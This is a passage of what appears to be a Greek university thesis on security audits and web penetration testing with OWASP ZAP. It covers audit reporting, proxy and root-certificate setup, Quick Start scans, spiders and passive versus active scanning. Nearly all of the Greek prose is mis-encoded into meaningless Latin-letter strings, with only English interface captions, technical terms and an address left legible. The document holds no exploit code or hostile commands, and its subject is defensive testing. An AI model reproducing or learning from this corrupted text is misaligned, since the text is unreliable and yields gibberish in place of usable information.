GLUTEPAGHATOV KOl TPOTAGEWDY KOl amd £vav EAEYKTN 0 Ooil0g Oev €XEL oY€oM e TO
ekdoToTE EAEYYO.

Ta amoteréopata TV EAEYY®V TPETEL VAL TEPIEYOVY TOVAGYIGTOV TIG EE1G TANPOPOPIEG:

e Tov oKomd Kol TOLVG GTOYOVG YO TOVG OMOIOVG TPAYLOTOTOWONKE O €Ay OC
OGQUAEING, TO €DPOC TOL EAEYYOVL, TNV TPOEAELON TOV TANPOPOPIDY TOL
cLAMEYONKav, ™ peBodoloyio mov axolovBnnke kor to mOOVA KprTplo
detypatonyiog mov ypnoylonomonkay.

e Texkunpimon tov €pyov mov emTEAéoTNKE, 1 OMOl0L TEPAUUPAVEL TO
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GLUTEPAGHOTO KOl TIS TPOTAGELS oV vrofAndnkav. EmmpdcOeto, mpémer va
TEPEYOVTOL TEPLYPOUPEG TMOV TANPOPOPLOKDV GUGTNUATOV KOOMG Kol TMV
VTOSOLLMY TIOL EAEYYOMKAY.
o EmPePaivon 611 epyacio mov mpaypotomomOnKe aAAd Kot 1 tekunpimwon Exovv
Yivel amodeKTES O TOV VITEHOVVO JEEAYMYNC EAEYXOL OCPOAELOG.
H tagwvopmon tov TANpo@opudv Tov £(0UV GXECT UE TO OMOTEAEGLOTO TOV EAEYYMV
acpoleiog, Oa mpémel va yiveton o€ avtiotoyo eninedo daPdduong mov opiletar amd o
oynua dPddong mov €yl opicel o opyovicpos. To amotedéopatd evog eAéyyov
acpolreiog Oa mpémet va ta&vopovvtot tovddytotov pe «kEMITIETEY TIKH» dwoéOpuon.
o ™MV anoTEAECUOTIKT TTPOCTAGIN TMV TANPOPOPUDY OV £XOVV GYECT LE EAEYXOVGC
acpoleiog, o Tpémel va yiveton TPoceKTIkn dlayeipion Paoel Tov enutédov dofaduiong
TOVG, OMWS opileTan arrd TIC TOMTIKES OCPUAELNG TOV OPYOVIGHOD.
Ta amoteréoparo evog EAEYYoL ac@aieioc, Tapadidovion and Tov veKBuLVo dMeEaywyNG
TOL EAEYYOL OOPUAEING, OMOKAEIOTIKG KOl HOVO Tpog Tov Ymevbuvo Ac@aieiog Tov
opyaviopov kot Tov AtevBovti g eAeyyOUEVIG LOVAOOC.
O YnevBuvog Acpodeiog ITAnpopopudv anopacilel dv Bo TapaddceEL avtiypapo Tov
TOPIGLOTOG TPOG TOV LREKOVVO TANPOPOPIKNGS, TOV LIELOVVO EGMTEPIKOD EAEYYOV, TOVG
O10KTNTEG TANPOPOPIDY KO TOLG TEXVIKOVS LITELBVVOUG.
H dnovpyia emmiéov avtypdowv oe mepiocdtepa dropo Oo amoyopevETOL KOl GTO
nopopa Oa avaypdeeton 1 EVOEIEN «ATayopedETAL 1] OVOTTOPUYWYN 1| EKTUTWGT] TOV
gyypapov». To mopiopa Ba etvar S10BEG1HO Kot 68 NAEKTPOVIKY LOPPT], EVA TPOTEIVETOAL
v, vrdpyel vodopn M omtoia Ba eEaceaiilel OTL dev pmopel va ekTuTwOEL 1) avTypOaQEL.
OU1310KTITEG TANPOPOPLDV, GE GLVEPYAGIN LIE TO TEXVIKOVG LITELBVUVOLC Kot TOV LITELHLVO
AGQAAEIG TANPOPOPLDYV, Oa TPEMEL PETE TV OAOKANPWOT £VOG EAEYYOL AGQOAEINS VO
SlEVEPYNOOVV aVOALOT Y10 TIG EMMTAOGELS (AUESES N EULECES) Ol OmOieg EVOEXETAL VOl
TPOKOYOLV OO TNV 0t0d0YN TV TPOTAGEMV. I 10l TV VAOTOINGT| TV TPOTOTOGEMY TOV
Bo amopaciotel va devepynbovv, o pénel va Aappdvovtor vToyn T Emion o TPOHTLTTA
Ko S101Kaoies aoPoreiog, Emetta omd Evay OAOKANPOUEVO GYedacUO PAceL Tov omoiov
Ba yivetan 1 amodoyn TV TPOTACEWY.
Bdogtr g dadikaciog d10pfmoemg Tmv aduvopudv aceodeiog, 1 onola Oo mpénel va

axolovBeiton, peTd TV OAOKANpPwOT TeV Tpomonotcemv Ba devepyeiton EAeyy0g
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emPeformoems, 6mov 1 pebBodoroyio ko ot mapdpeTpot Tov Ba akorovdnBodv Ba sivar
OLOLEG LLE OVTEG TOL APYIKOD EAEYYOV OCGQOAEING, MOGTE VO OTOPEVYETAL 1) TEPIMTTMOON

e€aywyng AavOaoUEV®V (OVOLLOIOYEV(MV) GUYKPLTIKOV GTOXEIWV.
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KE®AAAIO 4 — AIENEPTEIA AOKIMQN AIEIZAYXHX

Ye autd t0 KEPAAMIO Ba vAomomOel ekTédeon SokU®V SEiGOLONG EPAPUOYNGS, M
avamtuén g omoiag £xel oAokAnpmOel ko eivon Etowun mpog User Acceptance Test
(UAT).

Me dedopévo OTL GE TPONYOVLEVO KEPAAOLO OVOAVON KOV TPOTAGELS CYETIKA [LE TOVG
eléyyovg acpaieiog, ol omoieg mapéyovral and tov OWASP, kpidnke okoOmTIO Y00 T
dtevépyeln Tov dokumv dteicdvong va ypnowwomombel 1o epyoieio to omoio
napéyeror and tov OWASP kau eivon o Zed Attack (ZAP). Tapaxdto 0o avorivbodv
o1 Bactkég EVVOleg Kat 1 0poAoyia Yl TIC SOKIUEG ACPUAEING, KAOMDC KOl 01 EVEPYELEG
OV OOLTOVVTIOL YOl TNV EYKATACTOCT KOl EVEPYOTOINGT TOL E€PYOAEIOL Kol GTN

cuvéyela Ba viomoinBovv doxiég deiocdvong.

4.1 Baoixa yio. 11 00KWES O1EIGAOVONS

H doxiun dieiodvong (Pentesting) viomoleiton pe tov gleyktn va evepyel og évag
KakOPovAog eEmteptkdg emTBENEVOS, 0 Omolog €xel oav oTOYO Vo €16EADEL GTO
cVoTNUO Kot €iTe vor KAEWEL dedOUEVOL 1] VO TTPAYLOTOTOMGEL KATo10 €id0¢ emifeonc
apvnong eEvmmpétong (denial-of-service attack).

H doxun deicdvong €xetl to mheovékTnpa 0Tt ivat mo akpPng, enedn Exet Ayotepa
AavBoaopéva amoteAéopato (AmoTEAECUATO TOV AvaEEPOLV o gumdbelo mov dgv
VILAPYEL OTNV TPAYUATIKOTNTA), AAAG pmopel va etvar xpovoPdpa oty vAomoinomn g.
Eniong ypnopomoteitol yioo va SOKIUAGEL TOVG QLUVVTIKOVS UNYOVIGHOVG, Va EAEYEEL
T GYEJ0L ATOKPLOTG KOl VO, ETPEPOLDOCEL TNV THPNOT TG TOMTIKNG AGPAAELOGS.

Ot avtopotomompéveg dokipég dleiodvong amotelodv €va SNUOVTIKO WEPOS TNG
dadkaciog ocvuveyovg eAEyyov acpaleiog. BonBodv otnv avaxdivyn véov Tpotdv
onueiov KaBdg Kot 68 EMOVEUPAVIGELS TPONYOOLUEVOV EVTOBEL®VY € Eva TEPIPAAAOV

T0 omoio aAAGleL ypryopa.

4.1.1 H owdikacio 0okuay olsicovons
Téco m ovtopatomomuévny 000 Kot 1 ¥epokivnmn dwdikacio  deiodvong
APNOLOTOLOVVTOL, TOAAES POPES KOL GE GUVOLAGLO, Y10 VO SOKILAGOVV TO TAVTIO CE

pio vrodopn, OTWS eivat o1 SIUKOUIGTES, TOL SIKTVO, 01 GLGKEVES, HEXPL KOL T TEAIKA
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onueia. Xto mapddetypo mov Bo vAomombel mapakdtm, ot dokiéc deicdvong Oa
devepynbobv yio web epappoyn, o€ éva test tepipdAiov o omoio amoteheiton and TIg
ATOAVTMG ATOPOiTNTES VITOdOUES, o€ Virtual mepiBdliov To omoio dev £xet kapia oyéon
LLE TO TOPAYWYIKO.
Ot doxpég dieiodvong cuvnBmg aKoAoVOOVV Ta TAPUKAT® GTAdLL:
e E&epedvnon (Explore) - O gheyxtic npocmadel va pdabet yio 1o 6OGTHHA TOL
dokipdletar, O0mov mPocdlopileTonr mOWO AOYIGHIKO YPNOLUOTOLEITOL, TTOlN
TEMKA onueio vapyovv, moteg dopbmacelg (patches) sivar eykateotnuéveg
K.A. Eniong avalnteitanr Toxdv kpueo mepleydlevo oty 16T0GEAMDM, YVOOTA
PTG onueio kot dALeg evdei&elg advvopiog.
e Emifeon (Attack) - O eleyktig mpoomabel va eKUETOALEVTEL TIC YVOOTEG N
vronteg evmdbeteg yio va amodei&et 6t vdpyovv.
e 'ExOeon Report - O gheykmg avoeEpel o AMOTEAECUATO TMV OOKIUAV,
GUUTEPIAQUPOAVOUEVOV TOV TPMOTMOV CUEI®VY, TOV TPOTOL LE TOV 0010 £YIVE N
EKUETAAAEVON TOVG, KOODG Kot TO TOGO SOVGKOAN MTOV 1] EKUETAALELGT] KOL 1|

cofapdtnra TNG.

An®TEPOC 6TOHYOC TV SOKILMOV dleicdvomng eivan va dtevepynBel diepevvnon yio poTd
onueio dote aVTd Vo avTpHETOTIGTOVV. MTopov eniong va enainbevcovv Ot éva
GLGTNUA OEV EIVOL EVAAMTO GE YVOGTY KOTNYOPio 1] CLYKEKPIUEVO EAATTOUN, EVD GE
TEPMTOGEIS gvmadeldV Tov €yovv avapepbel wg dopBmuéves, Pefardvovy 6t TO

oVuoTNUa dgv givol TAEOV EVAAMTO GE AVTEG TIC EVTTAOELES.

4.2 Xvvorrtikiy mapoveioon s epapuoyns Zed Attack Proxy (ZAP)

To Zed Attack Proxy (ZAP) egivor évo dwpedv avoiktoh KmOKo (Open source)
gpyareio dokipmv dieiodvong, 1o oroio vrootpiletar omd To Open Web Application
Security Project (OWASP). 'Exel oyedlootel €181Ka yioo Sokipuég Web epoppoydv kot
elvat ELEMKTO Kot EMEKTAGLLLO.

O mopnivag tov ZAP aroteieiton amd ovtd mov eival yvootd og "intercepting proxy”.
TonoBeteiton avAUESH GTO TPOYPOLLLO TEPTYNONG TOV EAEYKTT KoL T WED epapuoyn,
pe oKkomd va mopoakolovdel kot va EAEYYEL TOL UNVOLOTO TOL GTEAVOVTOL LETOED TOV

TPOYPAULOTOG TEPYNONG Kot TG WED epappoync, TPOTOnOIdVTOG To TEPLEYOUEVA
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av ypelaotel Kot otn cvvéxeln Tpombel ta makéta otov Tpooptopd. [paktuicd to ZAP
umopet va. ypnoponombel g "avOpomrog otn péon" (man in the middle), aAldé propsi
eniong va ypnowomomnfel kot ©¢ avtdvoun epapproyn N og dwdwacia doiptova

(daemon process).

Web

Browser Application

Ewéva 6: 10 ZAP ©g “man in the middle”

To ZAP pmopei va puBuiotel vo cuvdéetan pe network proxy, eav vrdpyet 6to diktvo,

Omwg cvpPaivel 6€ TOAAES TEPMTOGELS G ETALPIKE TEPBAALOVTQL.

B Network Web
il Proxy Application

Ewova 7: To ZAP cg chvdeon pe network proxy

[Mopéyer Aertovpykdtnra yioo peYGAo @dopa teyvik®v mov Ba BgAncovv va To
YPNCLOTO|COVY, €iTe TPOKELTOL YO TPOYPOLUUATIOTEG Kol €W01KOVS o OépoTa
acpaleiag, gite Kar o apydplovg og Bépato dokipmv aceareiog. Emiong mapéyet
€KOO0EIC Yoo KABE onuoviikd Asttovpyikd ovotnuo kor Docker (miateopua
AOYIGHIKOD avOIKTOD K®MOKe, 1oV LAoTotel Virtualization oe eninedo Asrtovpyikov
GLGTNUATOG, TPOGPEPOVTOG OCVTOUOTOTOMUEVEG OlOIKAGIEG Yoo TNV  OvAmTLEN
epoppoydv [15]), emopéveog dev vmapyer e&aptnon oamd €va POVO AETOLPYIKO
ovotuo. EmmAéov vmhpyel oxetikd Marketplace yio to ZAP, to omoio mopéyst
AettovpykdTnTa N omoia elvar eAevBepal droBEGIUN VTO TV HopPN TPOGHETWV.

Agdopévou 6tL 1o ZAP elvar epappoyn avorytov kddika, o Tyoiog kKdOKas Umopet
va eéetaotel yuoo vo eleyyxBel 10 mdG viomoleiton M Astrtovpywkdtnra. EmumAéov

mopEeTol 1 duvardtTo o omolovonmote Beinocel €Beloviikd, va TPOCPEPEL
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TPOTAGELS Y10, S1OpOmon ceorpdTmv, Tpocheteg Aettovpyieg, va dnovpynoet pull
requests yw vo PByovv dopbmoeig 1 va mpocBécer add-ons yuo e€edikevuéveg
TEPUTAOCELS (TEPIOCOTEPES TANPOPOPIEC LIAPYOVV OlBECIUES OGNV 10TOCEAIDN

OWASP Zed Attack Proxy Project) [16].

4.2.2 Eyxardoracn ko poQuion nopaustpwy tov ZAP

Onoc avapépbnie Ko Topamdvo, 1o ZAP d100étel epaproyég eykotdoToons yio O
T0. AEITOVPYIKA cvotnpote 6mwg Windows, Linux ko Mac OS/X, kabdg kot yio
Dockers [17].

[Ma v gykatdotaon Tov amotteiton va vapyel TpogykatesTnuéEVn N Java 7+ yo ta
ovotqpato Windows, Linux kat Cross-Platform, evd avrtiototya yio cvotipoto Mac
OS/X mepihapfavetar n katdAAnin ékdoon Java oto mpOYPOLpO EYKATAGTOONG.
Téhog n €ékdoomn Docker dev amattel v eykatdotacn g Java.

Kot v évapén g epapproyng, divetat 1 duvatdtra SLoTpnong TV GTOlXEI®mV, Ta
omoio UTopovV va Kataypoaeovv o pia fdon oedopévav HSQLDB, pe npoemiheypévo
ovopa kot tomofesio amobnKevons TV apyeimv N EVOALUKTIKE TPOcapLOlovTas TO
ovopa ko v tomofecio amobnirkevong.

[Mopaxdtw eaivetor n apykn 006vn TG EPUPUOYNS LE TIC AVTIGTOLES EMAOYEG:

W) OWASP Zap % |
Do you want to persist the ZAP Session?

|} Yes, |wantto persistthis session with name based on the current timestamp
) Yes, lwantto persist this session but | want to specify the name and location |
@ Ma, | do notwant to persist this session atthis moment in time .
|| Remember my choice and do not ask me again. -

You can always change your decision via the Options / Database screen b

Help | Start |

Ewcova 8: POOpon tov ZAP Session
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To User Interface tov ZAP amotedeitan and tig akdlovbeg emhoyég (n avticToym

apifunon eaivetar 6Ny 000vn TapakdT®):

1. Menu Bar - IToapéyel mpocPacrn o€ MOAALG Omd TO CLTOUATOTOUUEVO KO

Yepokivnta epyaieio.

2. Toolbar - ITepthappavel Kovumd TOL TOPEXOVLY EVKOAN TPOGRAOT| GTA MO

GLY VA XPNCYLOTOLOVUEVA YOPOUKTNPLIOTIKA.

3. Tree Window - Epgavilet to 6évipo twv Sites kot Scripts.

4. Workspace Window - Epugavilet ta artipata, Tig omokpioelg Kot to SCripts

KOl EMTPETEL TNV ENEEEPYOATIO TOVC.

5. Information Widows - Epeoviler Aentopépeleg TV OQLTOUATOV KoL

YEPOKivNTOV gpyaleiwv.

6. Footer - EppaviCer o mepinym 1@V eVIOTIGUEVOV EWOOTOWCEMV Kot TNV

KOTAGTAOT] T®V KOPLOV OVTOUATOTOMUEVOV EPYOAEI®V.

W Untitled Session - OWASP ZAP 2.7.0 - X
File Edit View Analyse Report Tools Online Help ‘)
| Standard Mode | ¥} Edmi @& 45 @0 ODE A& Y@ @ % @ B ef€&
—
@ sites | + [+ QuickStant # | = Request | Response= | 4
@3
v 5 Contexts Welcome to the OWASP Zed Attack Proxy (ZAP)
Ml Defmult Conlest 24P is an easy 1o Use Integrated penetration testing tool for finding vulnerabiliies in web applications.
@ sites
Please be aware that you should only attack applications that you have been specifically been given permission fo test
To quickly test an application, enter its URL below and press ‘Aftack.
z URL to attack htp:if @ Select
-~
47 Mtack
Progress: Not started
For a more in depth test you should explare your application using your browser or automated regression tests while proxying through ZAP.
Explore your application: | Launch Browser | | JxBrowser A
[ history | &, searcn | 8 aterts | | 1 outpwt | 4
@ @ | Fiter. OFF ¢ Export
Id | Req. Timestamp | Method | URL | Code | Reason |RTT | size Resp. Body | Highest Alert | Note | Tags =]
N
-
-~
v
Alerts W0 [0 (U0 RO ) CurrentScans 44 0 §0 ) 0 @0 0 0 Wo

Ewova 9: Boaowod menu tov ZAP
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H epappoyn dwbéter odnyd ypnong o omoiog sivar queca Sobéc1L0G HECH NG
emloyne “Help” N matdviag to mAfktpo Fl, evd emumdéov dvvatdtnteg eivar
dwbéolueg dadiktvakd oto “HelpUlOverview” [18]. Mo akopo duvatdtnto g
EQUPUOYNG, Elvar n vrooTpign g ypnong APL
[Tpwv Vv exkivnon g ektéleong SOKIUNG dleicdvong, amarteital 1 SpUOPEMOT| TOV
TPOYPAUUOTOS TAONYNONG UE OKOTO TN ypnoiponoinon tov ZAP wg Proxy. Amo
TPOETIAOYT, XPNCUYLOTOLOVVTOL Ol TaPAKAT® puOuicelc:

e Address: localhost

e Port: 8080

Emmiéov mnpoeopieg mapaperpomoinong tov ZAP ®g Proxy, mapéyoviou
dwadikrvokd ato “Configuring Proxies [19].

Agdopévov 6t 10 ZAP éxer pvbuictel @ote va evepyel ¢ Proxy petoEd Tov
TPOYPALLOTOG TEPUYNONG Ko TG Web gpapuoyng, n ypriion tov SSL (HTTPS) 6o
TPOKOAESEL TNV OmMOTLYIO EMKVPMOONG TOL TIGTOMOMTIKOD KOl TN OKOTH TNG
oLVOEONG, EMEWN KPLATOYPOPEL Kol  OMOKPUTTOYPAPEl TO  OEOOUEVO  TTOV
AmOGTEAMAOVTOL GTNYV WED €paployn, YPNCILOTOLDVTAS TO TPOTOTVLITO TLGTOTOUTIKO
™G Web epappoyfc. Avto yivetot £161 MOTE VoL LITOPEL 1 EPOPLOYN VO £XEL TPOGao
oTa 0edopEVA TOV O1oKIVOUVTOL (GTIG OUTNHGELS KO TIG OTOVTTOELS).

["a va amoeevyBetl avt N amotvuyio, To ZAP dnuovpyel avtdpata Eva ToTomonTikd
SSL ywa ka0 kevTpikd vToAOY1IGTH TOV VILAPYEL TPOGPACT], VITOYEYPAUUEVO AT TNV
Apyn ITwrtomoinong (CA) tov ZAP. T va yivouv amodektd TO. CLYKEKPIUEVQ
motonomtikd SSL amd 10 mpodypappo mepumynong, amorteiton va mponynbei m
€100y®YN Kot amodoyr| Tov motonomtikod ZAP tov Root CA. MoMg yiver agidomato,

Ba etvar a&lomota kot to AL motomomtikd ZAP SSL mov vroypdeovtal amd avto.
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YOU OWASP ZAP www.example.com

<

B
L

<
ZAP Root CA | 5

= = : Original [ —
‘ﬁf:" - orificate certificate send
generated by by the server
user

Ewéva 10: Xpnon mictomomtikov ZAP tov Root SA

Eivar onpovtikd vo onueiwet 4tt, moporo mov 10 auToO-0MUovpyNIEVO TIGTOTOMTIKO
Root CA onpovpyeitor amokAEIGTIKG Y10 T GUYKEKPLUEVT XPNOTN, TPEMEL AKOUO VO
Tapopeivel 10®TIKS Yia va amo@evybel n dnuovpyia gvmdbeag.
AoV g&aybel ko eykotaotadel ®g a&OmoTo root moeTtonomTikd (GYETIKEG 00 Yies
napéyovtol dtadiktvakd oto “Option Dynamic SSL Certificates™) [20], givow gpiktd
vo, EEKVIAGEL 1] €QOPLOYN Kot va Yivel dokiun cvvdeong otnv Web gpapuoyn mov
TpoKeLToL Vo eAeyyDet.
[MBavé TpoPAnpata Tov evogyetor va TpokuyoLv kot dev Ba emttpémovv v Evapén
TOV SOKIUMV, Elval To TAPUKATO:
e AovBocuéveg puBuicelc tov Proxy mov ypnowomolel 10 mPOYPOULL
TEPUYNONG OV YPNOYLOTOELTAL Yoo cVVOESN e To ZAP.
e [Ipopiquata Aettovpyiog ot Web epappoyn mov mpoxerton v ereyyOet
e 'Yrapén proxy oto diktvo mov Asrtovpysi 1 Web epappoyn. Ze avt) myv
nepintoon amouteiton n pOOwon tov mapopétpov tov ZAP yia va

YPNOYLOTOIEL TO GLYKEKPIUEVO ProXY.

Edv o mepmyntig ovvdebei pe emtuyio otnv web epapuoyn mov mpodkertar va

eleyyBel, pmopovv va EEKIVIIGOVV 01 SOKLUES d1EiGOVONC.

4.2.3 'Evapén doxuav dicicoveng ue to ZAP
H gvkolotepn uébodog ypnoyomoinong tov ZAP gival péom g ektéheong tov Quick
Start, to onoio amotelel TpodGHeTO ™G EQOPUOYNS Kot ykaBicTaToL OVTOUATO LE TV

OPYIKT EYKOTAGTOON TNG.

TMHMA BIOMHXANIKHY ZXEAIAXHY KAI TIAPATQI'HE

II.PAAAH & @HBQON 250, 122 44, AI'AAEQ, AGHNA, EAAAAA
THA.: +30-210-5381311, MSCAUTOL1@TEIPIR.GR
90



Eivar moAd onpavtikd va vmoloyiletor o Oleg T1g dokiuég dieiodvong, 0tt 1o ZAP
Aettovpyel e T AOYIKN TNG TPOGOUOIMGN S TPAYUOTIKNG enifeonc, omdte elvan mbavo
va TpokANOel mpaypatikn (nuio 6T AEITOLVPYIKOTNTO TNG EPUPUOYNG TTOL EAEYYETOL,
ota 0gdopéva TG KAT. Edv vdpyovv apgiBoiieg oyetikd pe mboava mpofAnuata wov
eVOEXETOL VOL TPOKAN B0V 6TV €poppoyn Tov Ba yivouv dokipég dieicdvong, 1o ZAP
divel v dvvatotnto ac@aiovg Asttovpyiog (“Safe Mode”), oAld mpémer va
vroAoyloBel 6T N AettovpykotnTa ToL ZAP HEIOVETOL GNULOVTIKAL.
O1 xatnyopieg eniBeomng mov pmopovv vo emdeyodv givor:

e Safe Mode

e Protected Mode

e Standard Mode

e ATTACK Mode

Ot mopomdve Asrtovpyieg propovv va emieyfovv amd to avtictoryo dropdown menu,
otV KOPLaL Ypopun EPpYOAEI®V TNG EPOPLOYNG.

A@o¥ emheyel n emBount) péBodog emibeomg, otn cuvE Eln eMAEYETAL 1] KOPTEAQ
Quick start a6 to Workspace Window, pe okomd v dievépyeta tov Quick Start test.
Ymv kaptého amorteitor va TAnktporoynBei n mAnpng dievbvvon URL g web
epappoyng mov Oo eheyybei, oto mhaico kewévov tov URL to Attack kot ot
ovvéyelo va emleyfei to Attack yia va Eexvioet o Eleyyoc.

To ZAP 0o npoympnoet oty aviyvevon thg Web spapuoyng pe v “apdyvn” (spider)
kot B aviyvevoel tabntikd kdbe cedida mov Ppioket. Xtn cuvéyela Ba ypnoYLOTOUoEL
ToV gvepyod oapmt) Yo vo emtebel oe Oheg T avakaAveBeiceg ceAideg,

AELTOVPYIKOTNTO TOVG KOl TIG TOPAUETPOVC.

4.2.4 Eénynon twv amoteleoudTmy Ty OOKIHOY

Oco 10 ZAP “yayver” (spider) t web epoppoyn, xataokevdalel évav xaptn t@v
oeMO®V TG WED £pap Loy Kot TOLE TOPOLE TOV YPNGLOTOLOVVTOL Y10 TV amddoon
QVTOV TOV GEAIO®V. TN GLVEXELD KOTAYPAPEL TO OLTHLLOTO KOL TIC OTOVTNOELS TOV
amocté hovial og kdbe ceAida Kot ONUovPYel EL00TOMGELS OV VITAPYOLY SLVNTIKA

AGOT o€ éva altnua 1 po amdvino.
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"o Eheyyo TV 6EAd®V TTOL £xouvv dlepevvndet, emdéyetan amd TV Kaptéia Sites, to
Tree Window kot eppaviovtot ot diepevvnuéveg oeridec oe mpoforn dévrpov (tree
view), omov emekteivovtag tovg kouPovc (nodes) speoaviCovior ot emAEYHEVEC
dtevBvveeic URL.

2mv aplotepn TAEVPA tov vocéAdov (Footer) sppaviletol pio KOTapETpnon Tomv
gl0omoMmoe®wv Tov Ppédnkov Katd TN JPKE NG OOKIUNG, KOTOVEUNUEVEG OE

Katnyopieg Ktvovvov. Ot katnyopieg Kivdvvou givar:

re High

™ Medium

' Low

Fu )
e " Informational

) .
™ False Positive

o v epedvion tov gwomomocewv mov dNUovpyNONKay Kotd TN OlpKeEln TV
dokipmv, emhéyeton n kaptéda Alerts oto Information Window. Méca o kdabe
epeavifopevn ewomoinon tov mapabipov epeaviCetar n devbBuvon URL xou m
avtiotoyyn evmdBele mov eviomiomnke, epeaviferor ot de&d TAELPA  TOV
Information Window. Avtictoya oto Workspace Window, omv xaptéla
Response, sugavifovtar to mepieyopeva. e Keeoiidog (header) kot tov ocduatog
(body) ¢ amdvinong. To tufua TG amavnong mov Tpokdiese TV gdomoinor Ha
eaiveton emonpacpévo (highlighted).

4.2.5 Enéxraon twv doxumy digicovens ue to ZAP
H Aertovpyia mabntiknig ocdpmong ko avtopotng enifeong sivon €vag moAd KaAog
TpOmog Yoo v €vapén afloloynong evmobeidv picg Web epappoyng, oA €xet
KATO100G TEPLOPICHOVS OTLMG Eivat Yo TopAdELyLoL:

e Omotec oeAideg mpootatevovral omd o login page dev umopoldv va

EVIOTIOTOVV KOTA TN JOudpKew Hwog madnTikng odpmong, extoOg av Exet
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puOoTel n AsttovpykdTa EAEYYOL TanTOTNTOG TOV ZAP, 0mdTE M) EQPOPLOYY
dev Ba dlayelploTel TOV amalTOOUEVO EAEYYXO TOVTOTNTAG.

*  Omoteg 6eMoeg dev pmopovv vo. BpeBovv pe v mpoemdeyuévn “opdyvn’ Tov
ZAP, dev umopovv va eheyyBovv xatd tnv madntikn capwon. To ZAP mapéyet
TPOGHETEC EMAOYEC Yo avaKdALYN Kol KAALYT EKTOS TS TOONTIKNG GAPWOOTG.

e Agv vrdpyetl emapkng Eleyyog tng axoiovdiog eEepedvinong oe pia wadnTIkn
oclpmon N TOV TV EMOECE®V TOL  TPUYUOTOTOOVVIOL O©E o
avtopotonompévn enibeon. To ZAP mapéyel moAréc mpdebeteg emAoyég Yo

eEepedivnon kot embéoelg ekTOC TG TOONTIKNG GAPMOOTG.

4.2.6 Awoudppwon ko sktédeon prag “opayviys” (Spider) ue to ZAP

Mia pébodog yia v eméktaocn Kot BeAtioon Tov dokipudv, sivor va dtopopemdel n
“apbyvn” mov ypnoomotei 1o ZAP yio v e€epedvnon e Web epappoyng. To Quick
Start ypnowonotel v KAaotkn ekdoyn g “apayvns” tov ZAP, | onoia avakaAvmtet
Tov¢ cuvdéopovg e&etdlovtog to HTML otig anaviioelg and v web epappuoyn.
Avty n pébodog elvar ypnyopm, oAAG Oev givor TWAVIO OMOTEAEGUOTIKY OTOV
viomoteitat e€gpedivinon piog AJAX web epappoyng n onoio dnpovpyei cLVOEGHOVG
ypnoonowmvtag JavaScript.

[N 11g epappoyéc ATAX, vapyet drabéoiun avtictorya n “apdyvn” AJAX tov ZAP,
N omoia givar mBavo va eivorl mo amotelecpatikn. Avty N “apdyvn” eEgpevuva v
web gpappoyn kévoviog KANon 6€ TPOYPAUOTO TEPUTYNONG T OO0 OTI GLVEXELL
aKoAovBovV ToVg GVVOEGHOVG oL Exovv dnuovpyndel. H “apdyvn” AJAX eivon mo
apyn and TV TopadoctloKkY] “apdyvn” kot omoitel TPOcHETN dpdPP®ON Yo ¥pNoN
oe éva “headless” nepiBairov.

Mio anmhr péBodog yia petdfoon petald tov “apoyvov” givol pe v evepyomoinon
uog kaptéhog yro kabe “apdyvn” oto Information Window kot va. ypnoiponoteitat
avtioTotyo 1 eKAoToTE KOPTELD Yo TNV Evapén Tov capdcewny. Kabe kaptéla mov Ha
dnuovpyndei (Spider kot AJAX Spider avrtictorya) meptlappavel TAnkTpo yioo New
Scan.
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4.2.7 E&epevvion too site

Ot “apdyves” eivor pio oAl KoAn uéBodog yia v e€gpedivion tov Pacikov Site mov
eAEYYETOL, OAAG OTOTEITOL VO GLVOLOGTOVV E TN YEPWOVOKTIKY EEPEVLVON YU VO
gtvon o amoteAeopatikés. Ot “apdyves” yio mapadetypa, o elodyovv pdvo ta Pacikd
npoemAeyéva dedopéva oe PoOpueg otnv Web epapoyn, aAld o xpHoTng UTopel va
€100YEL TEPLOGOTEPES GYETIKEG TANPOPOPIES, Ol OTOIEC UTOPOVV LE TN GEPE TOVG VL
ekBéoovv meplocdtepa amd Vv epapuoyn oto ZAP. Avtd oydel dwitepa yia
TEPMTOCEIS OTMG Yot TOPAdEYLA QOPUES €yYpaPng Omov amorteitanr £yKvpn
dtevbuvon niektpovikoy tayvdpopeiov. H “apdyvn” pmopel va eiodyel Eva toyaio
string, ka1t ov Oa Tpokarécel opdaiua. 'Evog xpnotng Oa eivatl og Béom va avtidpdost
o€ aVTO TO CEOAUN KOl VO TOPEXEL Eva 0MOTA dtopopemuévo string, to omoio
EVOEXETOL VO TPOKAAESEL TNV €KBEON TEPLGGOTEPNG £PapLOYNS dTav vIoPAnOel Kot
Yivel amodekT 1 OPLLO.

Agdopévou Ot €xet SapopemOEl To TPOYPOUUO TEPUYYNONG TOV OTALTEITOL Y10 VOl
ypnopomotel to ZAP wg proxy, Oa npémet va e€gpguvnOei OAn n Web gpappoyn pe to
ocvykekpipévo mpdypappa tepmynons. Kabog viomoteitan avtd, to ZAP capdvet
ToONTIKA OAQ TOL UTAUOTO KO TIG OITOVTIOELS TTOV £yvay Kot tnv e€epevivnon yua
evmabelec, ovveyilovrog va ytilel 10 0EVIPO TOL 1GTOTOTOV KOl VO KOTOYPAPEL
€100TOMGELS Y10 TVYOV evABelEC TOL PpEOnKaV KaTA TN ddpKeLa TNG e&epedivnonc.
Eivar onpaviikd va ypnowyomoteitar to ZAP yia vo depevvioetl kbbe cerioa tng
EQOPLOYNG Y10 EVTLAOELES, €lTe elvar cuvdedepéVN e dAAN celida ite Oyt O KpLPEg
ceMOEG pepikég @opég yivovtar (wvtovég ywpic mpogwdomoinon 1 ewdomoinom.
Emopévmg elvar onpavtikd va vedpyet 660 10 duvotd peyaAldtepn eEE1O0IKELOT e TNV

web epappoyn mov eréyyetar.

4.2.8 Extédeon evepyng edpwons ue 1o ZAP

Me 1o 6ca avarvdnkav mopomdve, to ZAP €xel ypnotpomombel yuo t devépysia
nodnTikedv copocewv g Web epappoync. H mabntikny cdpwon dev aAralel Tig
AMOVINGOELS PE Kavévay Tpomo kot Bempeitar aceains. H chpmon mpaypatonoteiton
emiong oto background ywo va unv emiPpadvviei n e€epevvnon. H mabntikn cdpmon

glvol KoAn ylo tnv €0peCT] OPICUEVAOV TPOTOV CHUEIOV Kol ¢ £vag TPOTOG Yo TNV
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amdKTNOoT Hog aictnong yo ) Pacikr katdotooT aceaieiog g Web epappoyng kot
VO EVTOTLGTOVV TO, GNUEID TTOV OTOUTOVV TTEPALTEP® JLEPEVVT|ON).

Qac1000, 1 EvEPYN ohpmON TPocTadel vo eVTOTicEL AALEC EVTTAOELES YPTOLULOTOIDVTOGC
YVOOTEG eMBECELS KATA TV emAeyuévov otoymv. H evepyn odpwon eivor puo
